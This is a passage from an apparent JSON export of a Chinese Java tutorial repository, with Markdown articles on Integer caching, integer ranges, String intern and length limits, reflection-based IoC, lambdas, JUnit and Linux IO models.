5中，在Integer的操作上引入了一个新功能来节省内存和提高性能。整型对象通过使用相同的对象引用实现了缓存和重用。\n\n> 适用于整数值区间-128 至 +127。\n> \n> 只适用于自动装箱。使用构造函数创建对象不适用。\n\nJava的编译器把基本数据类型自动转换成封装类对象的过程叫做`自动装箱`，相当于使用`valueOf`方法：\n\n    Integer a = 10; //this is autoboxing\n    Integer b = Integer.valueOf(10); //under the hood\n    \n\n现在我们知道了这种机制在源码中哪里使用了，那么接下来我们就看看JDK中的`valueOf`方法。下面是`JDK 1.8.0 build 25`的实现：\n\n    /**\n         * Returns an {@code Integer} instance representing the specified\n         * {@code int} value.  If a new {@code Integer} instance is not\n         * required, this method should generally be used in preference to\n         * the constructor {@link #Integer(int)}, as this method is likely\n         * to yield significantly better space and time performance by\n         * caching frequently requested values.\n         *\n         * This method will always cache values in the range -128 to 127,\n         * inclusive, and may cache other values outside of this range.\n         *\n         * @param  i an {@code int} value.\n         * @return an {@code Integer} instance representing {@code i}.\n         * @since  1.5\n         */\n        public static Integer valueOf(int i) {\n            if (i >= IntegerCache.low && i <= IntegerCache.high)\n                return IntegerCache.cache[i + (-IntegerCache.low)];\n            return new Integer(i);\n        }\n    \n\n在创建对象之前先从IntegerCache.cache中寻找。如果没找到才使用new新建对象。\n\n## IntegerCache Class\n\nIntegerCache是Integer类中定义的一个`private static`的内部类。接下来看看他的定义。\n\n      /**\n         * Cache to support the object identity semantics of autoboxing for values between\n         * -128 and 127 (inclusive) as required by JLS.\n         *\n         * The cache is initialized on first usage.  The size of the cache\n         * may be controlled by the {@code -XX:AutoBoxCacheMax=} option.\n         * During VM initialization, java.lang.Integer.IntegerCache.high property\n         * may be set and saved in the private system properties in the\n         * sun.misc.VM class.\n         */\n    \n        private static class IntegerCache {\n            static final int low = -128;\n            static final int high;\n            static final Integer cache[];\n    \n            static {\n                // high value may be configured by property\n                int h = 127;\n                String integerCacheHighPropValue =\n                    sun.misc.VM.getSavedProperty(\"java.lang.Integer.IntegerCache.high\");\n                if (integerCacheHighPropValue != null) {\n                    try {\n                        int i = parseInt(integerCacheHighPropValue);\n                        i = Math.max(i, 127);\n                        // Maximum array size is Integer.MAX_VALUE\n                        h = Math.min(i, Integer.MAX_VALUE - (-low) -1);\n                    } catch( NumberFormatException nfe) {\n                        // If the property cannot be parsed into an int, ignore it.\n                    }\n                }\n                high = h;\n    \n                cache = new Integer[(high - low) + 1];\n                int j = low;\n                for(int k = 0; k < cache.length; k++)\n                    cache[k] = new Integer(j++);\n    \n                // range [-128, 127] must be interned (JLS7 5.1.7)\n                assert IntegerCache.high >= 127;\n            }\n    \n            private IntegerCache() {}\n        }\n    \n\n其中的javadoc详细的说明了缓存支持-128到127之间的自动装箱过程。最大值127可以通过`-XX:AutoBoxCacheMax=size`修改。 缓存通过一个for循环实现。从低到高并创建尽可能多的整数并存储在一个整数数组中。这个缓存会在Integer类第一次被使用的时候被初始化出来。以后，就可以使用缓存中包含的实例对象，而不是创建一个新的实例(在自动装箱的情况下)。\n\n实际上这个功能在Java 5中引入的时候,范围是固定的-128 至 +127。后来在Java 6中，可以通过`java.lang.Integer.IntegerCache.high`设置最大值。这使我们可以根据应用程序的实际情况灵活地调整来提高性能。到底是什么原因选择这个-128到127范围呢？因为这个范围的数字是最被广泛使用的。 在程序中，第一次使用Integer的时候也需要一定的额外时间来初始化这个缓存。\n\n## Java语言规范中的缓存行为\n\n在[Boxing Conversion][5]部分的Java语言规范(JLS)规定如下：\n\n> 如果一个变量p的值是：\n> \n> -128至127之间的整数(§3.10.1)\n> \n> true 和 false的布尔值 (§3.10.3)\n> \n> ‘\\u0000’至 ‘\\u007f’之间的字符(§3.10.4)\n> \n> 中时，将p包装成a和b两个对象时，可以直接使用a==b判断a和b的值是否相等。\n\n## 其他缓存的对象\n\n这种缓存行为不仅适用于Integer对象。我们针对所有的整数类型的类都有类似的缓存机制。\n\n> 有ByteCache用于缓存Byte对象\n> \n> 有ShortCache用于缓存Short对象\n> \n> 有LongCache用于缓存Long对象\n> \n> 有CharacterCache用于缓存Character对象\n\n`Byte`, `Short`, `Long`有固定范围: -128 到 127。对于`Character`, 范围是 0 到 127。除了`Integer`以外，这个范围都不能改变。\n\n [1]: http://javapapers.com/java/java-integer-cache/\n [2]: http://www.hollischuang.com/?p=1174\n [3]: http://javapapers.com/\n [4]: http://www.hollischuang.com\n [5]: http://docs.oracle.com/javase/specs/jls/se8/html/jls-5.html#jls-5.1.7\n"
  },
  {
    "path": "docs/basics/java-basic/integer-scope.md",
    "content": "Java中的整型主要包含byte、short、int和long这四种，表示的数字范围也是从小到大的，之所以表示范围不同主要和他们存储数据时所占的字节数有关。\n\n先来个简单的科普，1字节=8位（bit）。java中的整型属于有符号数。\n\n先来看计算中8bit可以表示的数字：\n\n最小值：10000000 （-128）(-2^7)\n\n最大值：01111111（127）(2^7-1)\n\n\n整型的这几个类型中，\n\n　　byte：byte用1个字节来存储，范围为-128(-2^7)到127(2^7-1)，在变量初始化的时候，byte类型的默认值为0。\n\n　　short：short用2个字节存储，范围为-32,768 (-2^15)到32,767 (2^15-1)，在变量初始化的时候，short类型的默认值为0，一般情况下，因为Java本身转型的原因，可以直接写为0。\n\n　　int：int用4个字节存储，范围为-2,147,483,648 (-2^31)到2,147,483,647 (2^31-1)，在变量初始化的时候，int类型的默认值为0。\n\n　　long：long用8个字节存储，范围为-9,223,372,036,854,775,808 (-2^63)到9,223,372,036, 854,775,807 (2^63-1)，在变量初始化的时候，long类型的默认值为0L或0l，也可直接写为0。\n\n上面说过了，整型中，每个类型都有一定的表示范围，但是，在程序中有些计算会导致超出表示范围，即溢出。如以下代码：\n\n        int i = Integer.MAX_VALUE;\n        int j = Integer.MAX_VALUE;\n\n        int k = i + j;\n        System.out.println(\"i (\" + i + \") + j (\" + j + \") = k (\" + k + \")\");\n\n输出结果：`i (2147483647) + j (2147483647) = k (-2)`\n\n这就是发生了溢出，溢出的时候并不会抛异常，也没有任何提示。所以，在程序中，使用同类型的数据进行运算的时候，一定要注意数据溢出的问题。\n"
  },
  {
    "path": "docs/basics/java-basic/intern.md",
    "content": " \n在JVM中，为了减少相同的字符串的重复创建，为了达到节省内存的目的。会单独开辟一块内存，用于保存字符串常量，这个内存区域被叫做字符串常量池。\n \n\n当代码中出现双引号形式（字面量）创建字符串对象时，JVM 会先对这个字符串进行检查，如果字符串常量池中存在相同内容的字符串对象的引用，则将这个引用返回；否则，创建新的字符串对象，然后将这个引用放入字符串常量池，并返回该引用。\n\n除了以上方式之外，还有一种可以在运行期将字符串内容放置到字符串常量池的办法，那就是使用intern\n\n\nintern的功能很简单：\n\n在每次赋值的时候使用 String 的 intern 方法，如果常量池中有相同值，就会重复使用该对象，返回对象引用。\n\n"
  },
  {
    "path": "docs/basics/java-basic/ioc-implement-with-factory-and-reflection.md",
    "content": "本文系转载，原文地址：https://blog.csdn.net/fuzhongmin05/article/details/61614873\n\n### 反射机制概念\n\n我们考虑一个场景，如果我们在程序运行时，一个对象想要检视自己所拥有的成员属性，该如何操作？再考虑另一个场景，如果我们想要在运行期获得某个类的Class信息如它的属性、构造方法、一般方法后再考虑是否创建它的对象，这种情况该怎么办呢？这就需要用到反射！\n\n我们.java文件在编译后会变成.class文件，这就像是个镜面，本身是.java，在镜中是.class，他们其实是一样的；那么同理，我们看到镜子的反射是.class，就能通过反编译，了解到.java文件的本来面目。\n\n对于反射，官方给出的概念：反射是Java语言的一个特性，它允许程序在运行时（注意不是编译的时候）来进行自我检查并且对内部的成员进行操作。例如它允许一个Java类获取它所有的成员变量和方法并且显示出来。\n\n反射主要是指程序可以访问，检测和修改它本身状态或行为的一种能力，并能根据自身行为的状态和结果，调整或修改应用所描述行为的状态和相关的语义。在Java中，只要给定类的名字，那么就可以通过反射机制来获得类的所有信息。\n\n反射是Java中一种强大的工具，能够使我们很方便的创建灵活的代码，这些代码可以在运行时装配，无需在组件之间进行源代码链接。但是反射使用不当会成本很高！类中有什么信息，利用反射机制就能可以获得什么信息，不过前提是得知道类的名字。\n\n### 反射机制的作用\n\n1、在运行时判断任意一个对象所属的类；\n\n2、在运行时获取类的对象；\n\n3、在运行时访问java对象的属性，方法，构造方法等。\n\n首先要搞清楚为什么要用反射机制？直接创建对象不就可以了吗，这就涉及到了动态与静态的概念。\n\n静态编译：在编译时确定类型，绑定对象，即通过。\n\n动态编译：运行时确定类型，绑定对象。动态编译最大限度发挥了Java的灵活性，体现了多态的应用，用以降低类之间的藕合性。\n\n### 反射机制的优缺点\n\n反射机制的优点：可以实现动态创建对象和编译，体现出很大的灵活性（特别是在J2EE的开发中它的灵活性就表现的十分明显）。通过反射机制我们可以获得类的各种内容，进行反编译。对于JAVA这种先编译再运行的语言来说，反射机制可以使代码更加灵活，更加容易实现面向对象。\n\n比如，一个大型的软件，不可能一次就把它设计得很完美，把这个程序编译后，发布了，当发现需要更新某些功能时，我们不可能要用户把以前的卸载，再重新安装新的版本，假如这样的话，这个软件肯定是没有多少人用的。采用静态的话，需要把整个程序重新编译一次才可以实现功能的更新，而采用反射机制的话，它就可以不用卸载，只需要在运行时动态地创建和编译，就可以实现该功能。\n\n反射机制的缺点：对性能有影响。使用反射基本上是一种解释操作，我们可以告诉JVM，我们希望做什么并且让它满足我们的要求。这类操作总是慢于直接执行相同的操作。\n\n### 反射与工厂模式实现IOC\n\nSpring中的IoC的实现原理就是工厂模式加反射机制。 我们首先看一下不用反射机制时的工厂模式：\n\n    interface fruit{\n        public abstract void eat();\n    } \n    class Apple implements fruit{\n         public void eat(){\n             System.out.println(\"Apple\");\n         }\n    } \n    class Orange implements fruit{\n         public void eat(){\n             System.out.println(\"Orange\");\n         }\n    }\n    //构造工厂类\n    //也就是说以后如果我们在添加其他的实例的时候只需要修改工厂类就行了\n    class Factory{\n         public static fruit getInstance(String fruitName){\n             fruit f=null;\n             if(\"Apple\".equals(fruitName)){\n                 f=new Apple();\n             }\n             if(\"Orange\".equals(fruitName)){\n                 f=new Orange();\n             }\n             return f;\n         }\n    }\n    class hello{\n         public static void main(String[] a){\n             fruit f=Factory.getInstance(\"Orange\");\n             f.eat();\n         }\n    }\n\n上面写法的缺点是当我们再添加一个子类的时候，就需要修改工厂类了。如果我们添加太多的子类的时候，改动就会很多。下面用反射机制实现工厂模式：\n\n    interface fruit{\n         public abstract void eat();\n    }\n    class Apple implements fruit{\n    public void eat(){\n             System.out.println(\"Apple\");\n         }\n    }\n    class Orange implements fruit{\n    public void eat(){\n            System.out.println(\"Orange\");\n        }\n    }\n    class Factory{\n        public static fruit getInstance(String ClassName){\n            fruit f=null;\n            try{\n                f=(fruit)Class.forName(ClassName).newInstance();\n            }catch (Exception e) {\n                e.printStackTrace();\n            }\n            return f;\n        }\n    }\n    class hello{\n        public static void main(String[] a){\n            fruit f=Factory.getInstance(\"Reflect.Apple\");\n            if(f!=null){\n                f.eat();\n            }\n        }\n    }\n    \n    \n现在就算我们添加任意多个子类的时候，工厂类都不需要修改。使用反射机制实现的工厂模式可以通过反射取得接口的实例，但是需要传入完整的包和类名。而且用户也无法知道一个接口有多少个可以使用的子类，所以我们通过属性文件的形式配置所需要的子类。\n\n下面编写使用反射机制并结合属性文件的工厂模式（即IoC）。首先创建一个fruit.properties的资源文件：\n\n    apple=Reflect.Apple\n    orange=Reflect.Orange\n    \n然后编写主类代码：\n\n    interface fruit{\n        public abstract void eat();\n    }\n    class Apple implements fruit{\n        public void eat(){\n            System.out.println(\"Apple\");\n        }\n    }\n    class Orange implements fruit{\n        public void eat(){\n            System.out.println(\"Orange\");\n        }\n    }\n    //操作属性文件类\n    class init{\n        public static Properties getPro() throws FileNotFoundException, IOException{\n            Properties pro=new Properties();\n            File f=new File(\"fruit.properties\");\n            if(f.exists()){\n                pro.load(new FileInputStream(f));\n            }else{\n                pro.setProperty(\"apple\", \"Reflect.Apple\");\n                pro.setProperty(\"orange\", \"Reflect.Orange\");\n                pro.store(new FileOutputStream(f), \"FRUIT CLASS\");\n            }\n            return pro;\n        }\n    }\n    class Factory{\n        public static fruit getInstance(String ClassName){\n            fruit f=null;\n            try{\n                f=(fruit)Class.forName(ClassName).newInstance();\n            }catch (Exception e) {\n                e.printStackTrace();\n            }\n            return f;\n        }\n    }\n    class hello{\n        public static void main(String[] a) throws FileNotFoundException, IOException{\n            Properties pro=init.getPro();\n            fruit f=Factory.getInstance(pro.getProperty(\"apple\"));\n            if(f!=null){\n                f.eat();\n            }\n        }\n    }\n\n运行结果：Apple\n\n### IOC容器的技术剖析\n\nIOC中最基本的技术就是“反射(Reflection)”编程，通俗来讲就是根据给出的类名（字符串方式）来动态地生成对象，这种编程方式可以让对象在生成时才被决定到底是哪一种对象。只要是在Spring中生产的对象都要在配置文件中给出定义，目的就是提高灵活性和可维护性。\n\n目前C#、Java和PHP5等语言均支持反射，其中PHP5的技术书籍中，有时候也被翻译成“映射”。有关反射的概念和用法，大家应该都很清楚。反射的应用是很广泛的，很多的成熟的框架，比如像Java中的Hibernate、Spring框架，.Net中NHibernate、Spring.NET框架都是把”反射“作为最基本的技术手段。\n\n反射技术其实很早就出现了，但一直被忽略，没有被进一步的利用。当时的反射编程方式相对于正常的对象生成方式要慢至少得10倍。现在的反射技术经过改良优化，已经非常成熟，反射方式生成对象和通常对象生成方式，速度已经相差不大了，大约为1-2倍的差距。\n\n我们可以把IOC容器的工作模式看做是工厂模式的升华，可以把IOC容器看作是一个工厂，这个工厂里要生产的对象都在配置文件中给出定义，然后利用编程语言提供的反射机制，根据配置文件中给出的类名生成相应的对象。从实现来看，IOC是把以前在工厂方法里写死的对象生成代码，改变为由配置文件来定义，也就是把工厂和对象生成这两者独立分隔开来，目的就是提高灵活性和可维护性。\n\n\n\n### 使用IOC框架应该注意什么\n\n使用IOC框架产品能够给我们的开发过程带来很大的好处，但是也要充分认识引入IOC框架的缺点，做到心中有数，杜绝滥用框架。\n\n1）软件系统中由于引入了第三方IOC容器，生成对象的步骤变得有些复杂，本来是两者之间的事情，又凭空多出一道手续，所以，我们在刚开始使用IOC框架的时候，会感觉系统变得不太直观。所以，引入了一个全新的框架，就会增加团队成员学习和认识的培训成本，并且在以后的运行维护中，还得让新加入者具备同样的知识体系。\n\n2）由于IOC容器生成对象是通过反射方式，在运行效率上有一定的损耗。如果你要追求运行效率的话，就必须对此进行权衡。\n\n 3）具体到IOC框架产品（比如Spring）来讲，需要进行大量的配置工作，比较繁琐，对于一些小的项目而言，客观上也可能加大一些工作成本。\n\n4）IOC框架产品本身的成熟度需要进行评估，如果引入一个不成熟的IOC框架产品，那么会影响到整个项目，所以这也是一个隐性的风险。\n\n我们大体可以得出这样的结论：一些工作量不大的项目或者产品，不太适合使用IOC框架产品。另外，如果团队成员的知识能力欠缺，对于IOC框架产品缺乏深入的理解，也不要贸然引入。最后，特别强调运行效率的项目或者产品，也不太适合引入IOC框架产品，像WEB2.0网站就是这种情况。\n"
  },
  {
    "path": "docs/basics/java-basic/iteration-of-collection.md",
    "content": "Collection的迭代有很多种方式：\n\n1、通过普通for循环迭代\n\n2、通过增强for循环迭代\n\n3、使用Iterator迭代\n\n4、使用Stream迭代\n\n\n```\nList<String> list = ImmutableList.of(\"Hollis\", \"hollischuang\");\n\n// 普通for循环遍历\nfor (int i = 0; i < list.size(); i++) {\n    System.out.println(list.get(i));\n}\n\n//增强for循环遍历\nfor (String s : list) {\n    System.out.println(s);\n}\n\n//Iterator遍历\nIterator it = list.iterator();\nwhile (it.hasNext()) {\n    System.out.println(it.next());\n}\n\n//Stream 遍历\nlist.forEach(System.out::println);\n\nlist.stream().forEach(System.out::println);\n``` \n"
  },
  {
    "path": "docs/basics/java-basic/jms.md",
    "content": ""
  },
  {
    "path": "docs/basics/java-basic/junit.md",
    "content": "JUnit是一个Java语言的单元测试框架。它由肯特·贝克和埃里希·伽玛（Erich Gamma）建立，逐渐成为源于Kent Beck的sUnit的xUnit家族中为最成功的一个。 JUnit有它自己的JUnit扩展生态圈。\n\nJUnit 促进了“先测试后编码”的理念，强调建立测试数据的一段代码，可以先测试，然后再应用。这个方法就好比“测试一点，编码一点，测试一点，编码一点……”，增加了程序员的产量和程序的稳定性，可以减少程序员的压力和花费在排错上的时间。\n\n特点：\n\n* JUnit 是一个开放的资源框架，用于编写和运行测试。\n* 提供注释来识别测试方法。\n* 提供断言来测试预期结果。\n* 提供测试运行来运行测试。\n* JUnit 测试允许你编写代码更快，并能提高质量。\n* JUnit 优雅简洁。没那么复杂，花费时间较少。\n* JUnit 测试可以自动运行并且检查自身结果并提供即时反馈。所以也没有必要人工梳理测试结果的报告。\n* JUnit 测试可以被组织为测试套件，包含测试用例，甚至其他的测试套件。\n* JUnit 在一个条中显示进度。如果运行良好则是绿色；如果运行失败，则变成红色。 JUnit知识经常 和测试驱动开发的讨论融合在一起。可以参考Kent Beck的 《Test-Driven Development: By Example》一书（有中文版和影印版）。\n\n\n推荐一份JUnit的教程，可以帮助你快速的学习使用它：https://wiki.jikexueyuan.com/project/junit/"
  },
  {
    "path": "docs/basics/java-basic/k-t-v-e.md",
    "content": "E - Element (在集合中使用，因为集合中存放的是元素)\n\nT - Type（Java 类）\n\nK - Key（键）\n\nV - Value（值）\n\nN - Number（数值类型）\n\n？ - 表示不确定的java类型（无限制通配符类型）\n\nS、U、V - 2nd、3rd、4th types\n\nObject - 是所有类的根类，任何类的对象都可以设置给该Object引用变量，使用的时候可能需要类型强制转换，但是用使用了泛型T、E等这些标识符后，在实际用之前类型就已经确定了，不需要再进行类型强制转换。"
  },
  {
    "path": "docs/basics/java-basic/keyword-about-exception.md",
    "content": "throws、 throw、 try、 catch、 finally\n\ntry⽤来指定⼀块预防所有异常的程序；\n\ncatch⼦句紧跟在try块后⾯， ⽤来指定你想要捕获的异常的类型；\n\nfinally为确保⼀段代码不管发⽣什么异常状况都要被执⾏；\n\nthrow语句⽤来明确地抛出⼀个异常；\n\nthrows⽤来声明⼀个⽅法可能抛出的各种异常；"
  },
  {
    "path": "docs/basics/java-basic/lambda.md",
    "content": "Lambda 表达式，也可称为闭包，它是推动 Java 8 发布的最重要新特性。\n\nLambda 允许把函数作为一个方法的参数（函数作为参数传递进方法中）。\n\n使用 Lambda 表达式可以使代码变的更加简洁紧凑。\n\n### 语法\nlambda 表达式的语法格式如下：\n```\n(parameters) -> expression\n或\n(parameters) ->{ statements; }\n\n```\n\n以下是lambda表达式的重要特征:\n\n* 可选类型声明：不需要声明参数类型，编译器可以统一识别参数值。\n* 可选的参数圆括号：一个参数无需定义圆括号，但多个参数需要定义圆括号。\n* 可选的大括号：如果主体包含了一个语句，就不需要使用大括号。\n* 可选的返回关键字：如果主体只有一个表达式返回值则编译器会自动返回值，大括号需要指定明表达式返回了一个数值。\n\n### Lambda 表达式实例\n\n```\n// 1. 不需要参数,返回值为 5  \n() -> 5  \n  \n// 2. 接收一个参数(数字类型),返回其2倍的值  \nx -> 2 * x  \n  \n// 3. 接受2个参数(数字),并返回他们的差值  \n(x, y) -> x – y  \n  \n// 4. 接收2个int型整数,返回他们的和  \n(int x, int y) -> x + y  \n  \n// 5. 接受一个 string 对象,并在控制台打印,不返回任何值(看起来像是返回void)  \n(String s) -> System.out.print(s)\n\n```\n\nLambda 表达式主要用来定义行内执行的方法类型接口，例如，一个简单方法接口。在上面例子中，我们使用各种类型的Lambda表达式来定义MathOperation接口的方法。然后我们定义了sayMessage的执行。\n\nLambda 表达式免去了使用匿名方法的麻烦，并且给予Java简单但是强大的函数化的编程能力。\n\n### 变量作用域\n\nlambda 表达式只能引用标记了 final 的外层局部变量，这就是说不能在 lambda 内部修改定义在域外的局部变量，否则会编译错误。如以下代码，编译会出错：\n\n```\n\nString first = \"\";  \nComparator<String> comparator = (first, second) -> Integer.compare(first.length(), second.length()); \n\n```\n\n原文地址：https://www.runoob.com/java/java8-lambda-expressions.html"
  },
  {
    "path": "docs/basics/java-basic/length-of-string.md",
    "content": "关于String有没有长度限制的问题，我之前单独写过一篇文章分析过，最近我又抽空回顾了一下这个问题，发现又有了一些新的认识。于是准备重新整理下这个内容。\n\n这次在之前那篇文章的基础上除了增加了一些验证过程外，还有些错误内容的修正。我这次在分析过程中会尝试对Jdk的编译过程进行debug，并且会参考一些JVM规范等全方面的介绍下这个知识点。\n\n因为这个问题涉及到Java的编译原理相关的知识，所以通过视频的方式讲解会更加容易理解一些，视频我上传到了B站：[【灵魂拷问】Java中的String到底有没有长度限制？](https://www.bilibili.com/video/BV1uK4y1t7H1/)\n\n### String的长度限制\n\n想要搞清楚这个问题，首先我们需要翻阅一下String的源码，看下其中是否有关于长度的限制或者定义。\n\nString类中有很多重载的构造函数，其中有几个是支持用户传入length来执行长度的：\n\n    public String(byte bytes[], int offset, int length) \n    \n\n可以看到，这里面的参数length是使用int类型定义的，那么也就是说，String定义的时候，最大支持的长度就是int的最大范围值。\n\n根据Integer类的定义，`java.lang.Integer#MAX_VALUE`的最大值是2^31 - 1;\n\n那么，我们是不是就可以认为String能支持的最大长度就是这个值了呢？\n\n其实并不是，这个值只是在运行期，我们构造String的时候可以支持的一个最大长度，而实际上，在编译期，定义字符串的时候也是有长度限制的。\n\n如以下代码：\n\n    String s = \"11111...1111\";//其中有10万个字符\"1\"\n    \n\n当我们使用如上形式定义一个字符串的时候，当我们执行javac编译时，是会抛出异常的，提示如下：\n\n    错误: 常量字符串过长\n    \n\n那么，明明String的构造函数指定的长度是可以支持2147483647(2^31 - 1)的，为什么像以上形式定义的时候无法编译呢？\n\n其实，形如`String s = \"xxx\";`定义String的时候，xxx被我们称之为字面量，这种字面量在编译之后会以常量的形式进入到Class常量池。\n\n那么问题就来了，因为要进入常量池，就要遵守常量池的有关规定。\n\n### 常量池限制\n\n我们知道，javac是将Java文件编译成class文件的一个命令，那么在Class文件生成过程中，就需要遵守一定的格式。\n\n根据《Java虚拟机规范》中第4.4章节常量池的定义，CONSTANT_String_info 用于表示 java.lang.String 类型的常量对象，格式如下：\n\n    CONSTANT_String_info {\n        u1 tag;\n        u2 string_index;\n    }\n    \n\n其中，string_index 项的值必须是对常量池的有效索引， 常量池在该索引处的项必须是 CONSTANT_Utf8_info 结构，表示一组 Unicode 码点序列，这组 Unicode 码点序列最终会被初始化为一个 String 对象。\n\nCONSTANT_Utf8_info 结构用于表示字符串常量的值：\n\n    CONSTANT_Utf8_info {\n        u1 tag;\n        u2 length;\n        u1 bytes[length];\n    }\n    \n\n其中，length则指明了 bytes[]数组的长度，其类型为u2，\n\n通过翻阅《规范》，我们可以获悉。u2表示两个字节的无符号数，那么1个字节有8位，2个字节就有16位。\n\n16位无符号数可表示的最大值位2^16 - 1 = 65535。\n\n也就是说，Class文件中常量池的格式规定了，其字符串常量的长度不能超过65535。\n\n那么，我们尝试使用以下方式定义字符串：\n\n     String s = \"11111...1111\";//其中有65535个字符\"1\"\n    \n\n尝试使用javac编译，同样会得到\"错误: 常量字符串过长\"，那么原因是什么呢？\n\n其实，这个原因在javac的代码中是可以找到的，在Gen类中有如下代码：\n\n    private void checkStringConstant(DiagnosticPosition var1, Object var2) {\n        if (this.nerrs == 0 && var2 != null && var2 instanceof String && ((String)var2).length() >= 65535) {\n            this.log.error(var1, \"limit.string\", new Object[0]);\n            ++this.nerrs;\n        }\n    }\n    \n\n代码中可以看出，当参数类型为String，并且长度大于等于65535的时候，就会导致编译失败。\n\n这个地方大家可以尝试着debug一下javac的编译过程，也可以发现这个地方会报错。\n\n如果我们尝试以65534个字符定义字符串，则会发现可以正常编译。\n\n其实，关于这个值，在《Java虚拟机规范》也有过说明：\n\n> if the Java Virtual Machine code for a method is exactly 65535 bytes long and ends with an instruction that is 1 byte long, then that instruction cannot be protected by an exception handler. A compiler writer can work around this bug by limiting the maximum size of the generated Java Virtual Machine code for any method, instance initialization method, or static initializer (the size of any code array) to 65534 bytes\n\n### 运行期限制\n\n上面提到的这种String长度的限制是编译期的限制，也就是使用String s= “”;这种字面值方式定义的时候才会有的限制。\n\n那么。String在运行期有没有限制呢，答案是有的，就是我们前文提到的那个Integer.MAX_VALUE ，这个值约等于4G，在运行期，如果String的长度超过这个范围，就可能会抛出异常。(在jdk 1.9之前）\n\nint 是一个 32 位变量类型，取正数部分来算的话，他们最长可以有\n\n    2^31-1 =2147483647 个 16-bit Unicodecharacter\n    \n    2147483647 * 16 = 34359738352 位\n    34359738352 / 8 = 4294967294 (Byte)\n    4294967294 / 1024 = 4194303.998046875 (KB)\n    4194303.998046875 / 1024 = 4095.9999980926513671875 (MB)\n    4095.9999980926513671875 / 1024 = 3.99999999813735485076904296875 (GB)\n    \n\n有近 4G 的容量。\n\n很多人会有疑惑，编译的时候最大长度都要求小于65535了，运行期怎么会出现大于65535的情况呢。这其实很常见，如以下代码：\n\n    String s = \"\";\n    for (int i = 0; i <100000 ; i++) {\n        s+=\"i\";\n    }\n    \n\n得到的字符串长度就有10万，另外我之前在实际应用中遇到过这个问题。\n\n之前一次系统对接，需要传输高清图片，约定的传输方式是对方将图片转成BASE64编码，我们接收到之后再转成图片。\n\n在将BASE64编码后的内容赋值给字符串的时候就抛了异常。\n\n### 总结\n\n字符串有长度限制，在编译期，要求字符串常量池中的常量不能超过65535，并且在javac执行过程中控制了最大值为65534。\n\n在运行期，长度不能超过Int的范围，否则会抛异常。\n\n最后，这个知识点 ，我录制了视频([点击跳转](https://www.bilibili.com/video/BV1uK4y1t7H1/)) ，其中有关于如何进行实验测试、如何查阅Java规范以及如何对javac进行deubg的技巧。欢迎进一步学习。\n"
  },
  {
    "path": "docs/basics/java-basic/linux-io.md",
    "content": "### 阻塞式IO模型\n\n最传统的一种IO模型，即在读写数据过程中会发生阻塞现象。\n\n\n\n当用户线程发出IO请求之后，内核会去查看数据是否就绪，如果没有就绪就会等待数据就绪，而用户线程就会处于阻塞状态，用户线程交出CPU。当数据就绪之后，内核会将数据拷贝到用户线程，并返回结果给用户线程，用户线程才解除block状态。\n\n\n\n典型的阻塞IO模型的例子为：\n```\ndata = socket.read();\n```\n如果数据没有就绪，就会一直阻塞在read方法。\n\n\n### 非阻塞IO模型\n\n当用户线程发起一个read操作后，并不需要等待，而是马上就得到了一个结果。如果结果是一个error时，它就知道数据还没有准备好，于是它可以再次发送read操作。一旦内核中的数据准备好了，并且又再次收到了用户线程的请求，那么它马上就将数据拷贝到了用户线程，然后返回。\n\n\n\n所以事实上，在非阻塞IO模型中，用户线程需要不断地询问内核数据是否就绪，也就说非阻塞IO不会交出CPU，而会一直占用CPU。\n\n\n典型的非阻塞IO模型一般如下：\n```\nwhile(true){\n    data = socket.read();\n    if(data!= error){\n        处理数据\n        break;\n    }\n}\n```\n但是对于非阻塞IO就有一个非常严重的问题，在while循环中需要不断地去询问内核数据是否就绪，这样会导致CPU占用率非常高，因此一般情况下很少使用while循环这种方式来读取数据。\n\n### IO复用模型\n\n多路复用IO模型是目前使用得比较多的模型。Java NIO实际上就是多路复用IO。\n\n\n在多路复用IO模型中，会有一个线程不断去轮询多个socket的状态，只有当socket真正有读写事件时，才真正调用实际的IO读写操作。因为在多路复用IO模型中，只需要使用一个线程就可以管理多个socket，系统不需要建立新的进程或者线程，也不必维护这些线程和进程，并且只有在真正有socket读写事件进行时，才会使用IO资源，所以它大大减少了资源占用。\n\n在Java NIO中，是通过selector.select()去查询每个通道是否有到达事件，如果没有事件，则一直阻塞在那里，因此这种方式会导致用户线程的阻塞。\n\n也许有朋友会说，我可以采用 多线程+ 阻塞IO 达到类似的效果，但是由于在多线程 + 阻塞IO 中，每个socket对应一个线程，这样会造成很大的资源占用，并且尤其是对于长连接来说，线程的资源一直不会释放，如果后面陆续有很多连接的话，就会造成性能上的瓶颈。\n\n而多路复用IO模式，通过一个线程就可以管理多个socket，只有当socket真正有读写事件发生才会占用资源来进行实际的读写操作。因此，多路复用IO比较适合连接数比较多的情况。\n\n另外多路复用IO为何比非阻塞IO模型的效率高是因为在非阻塞IO中，不断地询问socket状态是通过用户线程去进行的，而在多路复用IO中，轮询每个socket状态是内核在进行的，这个效率要比用户线程要高的多。\n\n\n不过要注意的是，多路复用IO模型是通过轮询的方式来检测是否有事件到达，并且对到达的事件逐一进行响应。因此对于多路复用IO模型来说，一旦事件响应体很大，那么就会导致后续的事件迟迟得不到处理，并且会影响新的事件轮询。\n\n\n### 信号驱动IO模型\n\n在信号驱动IO模型中，当用户线程发起一个IO请求操作，会给对应的socket注册一个信号函数，然后用户线程会继续执行，当内核数据就绪时会发送一个信号给用户线程，用户线程接收到信号之后，便在信号函数中调用IO读写操作来进行实际的IO请求操作。\n\n### 异步IO模型\n异步IO模型是比较理想的IO模型，在异步IO模型中，当用户线程发起read操作之后，立刻就可以开始去做其它的事。而另一方面，从内核的角度，当它受到一个asynchronous read之后，它会立刻返回，说明read请求已经成功发起了，因此不会对用户线程产生任何block。然后，内核会等待数据准备完成，然后将数据拷贝到用户线程，当这一切都完成之后，内核会给用户线程发送一个信号，告诉它read操作完成了。也就说用户线程完全不需要知道实际的整个IO操作是如何进行的，只需要先发起一个请求，当接收内核返回的成功信号时表示IO操作已经完成，可以直接去使用数据了。\n\n也就说在异步IO模型中，IO操作的两个阶段都不会阻塞用户线程，这两个阶段都是由内核自动完成，然后发送一个信号告知用户线程操作已完成。用户线程中不需要再次调用IO函数进行具体的读写。这点是和信号驱动模型有所不同的，在信号驱动模型中，当用户线程接收到信号表示数据已经就绪，然后需要用户线程调用IO函数进行实际的读写操作；而在异步IO模型中，收到信号表示IO操作已经完成，不需要再在用户线程中调用IO函数进行实际的读写操作。\n\n注意，异步IO是需要操作系统的底层支持，在Java 7中，提供了Asynchronous 